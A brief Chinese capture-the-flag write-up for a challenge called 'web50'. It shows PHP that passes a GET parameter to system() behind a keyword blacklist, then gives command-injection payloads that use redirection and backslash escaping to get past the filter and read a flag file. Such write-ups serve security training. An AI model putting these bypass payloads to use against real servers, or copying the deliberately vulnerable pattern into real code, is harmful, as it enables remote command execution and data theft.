web50笔记(+过滤\x09和\x26)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
哦豁,过滤了\x09和\x26
于是想到⽤<>,但是发现<>和?组合的时候没有输出,
于是将上⾯payload改⼀下就可以了
?c=tac<>fl\ag.php||ls
?c=tac<>fla\g.php||ls
浙公网安备 33010602011771号